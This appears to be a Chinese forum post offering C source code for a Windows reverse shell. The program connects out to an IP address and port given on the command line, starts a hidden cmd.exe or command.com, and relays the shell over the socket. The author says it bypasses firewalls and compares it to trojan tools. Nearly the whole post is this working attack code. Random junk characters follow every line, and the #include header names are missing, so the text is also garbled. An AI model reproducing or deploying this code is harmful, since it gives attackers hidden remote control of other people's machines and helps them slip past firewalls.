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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 aM7=>  
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/* ============================== pt$\pQ  
Rebound port in Windows NT riv8qg  
By wind,2006/7 E*AI}:or;  
===============================*/ @s.civ!Yk  
#include sXaudT  
#include N3(.7mxo  
ORx6r=zg  
#pragma comment(lib,"wsock32.lib") qd<-{  
Lvd es.0|  
void OutputShell(); cNl NJ  
SOCKET sClient; L+.&e4f'oj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E< Y!BT[X  
q>rDxmP<  
void main(int argc,char **argv) 6m%#cP (6K  
{ YN}vAFR`  
WSADATA stWsaData; S7 !;Z@  
int nRet; NH'Dz6K5  
SOCKADDR_IN stSaiClient,stSaiServer; :i9=Wj  
?>s[B7wMp  
if(argc != 3) SceK$  
{ l0w<NZ F  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^_gH}~l+U  
return; e);`hNLih  
} 4G2iT+X-  
"IN[(  
WSAStartup(MAKEWORD(2,2),&stWsaData); .+(R,SvN%<  
%k'>bmJ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $uUR@l  
 alH6~  
stSaiClient.sin_family = AF_INET; }0V aZ<j  
stSaiClient.sin_port = htons(0); IOT-R!.5V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4$+1&+@ ]  
Qo~|[]GE  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J'C9}7G  
{ ;-AC}jG  
printf("Bind Socket Failed!\n"); XR_Gsb%l  
return; E?- ~*T  
} HA74s':FN  
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stSaiServer.sin_family = AF_INET; V+5av Z}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x n=#4:f  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %uw7sGz\  
\q@Co42n\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gA}?X  
{ zfw=U \  
printf("Connect Error!"); qV0GpVJZU?  
return; Ggry,3X3  
} Cto>~pV  
OutputShell(); xLSf /8e  
} xz Hb+1+p  
I0*N "07n  
void OutputShell() ,N1pww?  
{ lVCnu> 8  
char szBuff[1024]; #mYe@[p@  
SECURITY_ATTRIBUTES stSecurityAttributes; lAR1gHhJ  
OSVERSIONINFO stOsversionInfo; :T{VCw:*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d uP0US  
STARTUPINFO stStartupInfo; p:V1VHT,  
char *szShell; g/frg(KF  
PROCESS_INFORMATION stProcessInformation; RN&6z"|jR  
unsigned long lBytesRead; R"j<C13;%  
xR8y"CpE  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &NOCRabc  
Oyb0t|do+  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rJh$>V+ '  
stSecurityAttributes.lpSecurityDescriptor = 0; :k-@w5(  
stSecurityAttributes.bInheritHandle = TRUE; `=S%!akj  
<0;G4fE7[H  
_0BQnzC=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E 6+ ooB[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <Sr:pm  
h^v#?3.@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I@5$<SN  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sk:x.oOZ  
stStartupInfo.wShowWindow = SW_HIDE; y|=KrvMHJ  
stStartupInfo.hStdInput = hReadPipe; R13V }yL  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \r9E6LL X'  
U o aWI2  
GetVersionEx(&stOsversionInfo); Khl0~  
L)8%*X  
switch(stOsversionInfo.dwPlatformId) (&u'S+  
{ XD" 4t4~>  
case 1: xs )jO+.  
szShell = "command.com"; &O#1*y Z  
break; Z?d][zGw  
default: @=%g{  
szShell = "cmd.exe"; ;VEKrVD  
break; 7{l~\] 6d  
} Z +O< IF%  
pFV~1W:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?o`:V|<v  
oIQ$98M  
send(sClient,szMsg,77,0); Q5l+-  
while(1) .|Yn[?(  
{ =p7id5"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g[HuIn/  
if(lBytesRead) wCV~9JTJ!  
{ :`lP+y?a1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kZ]pV=\Y*  
send(sClient,szBuff,lBytesRead,0); -%Ce  
} d'H gek{T  
else Ck>]+rl  
{ IxG7eX!  
lBytesRead=recv(sClient,szBuff,1024,0); ^.  
if(lBytesRead<=0) break; 2aX{r/Lc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n ywC]T  
} LPZ\T} <l  
} t @a&&  
Ino]::ZJ/  
return; UR S=1+  
}
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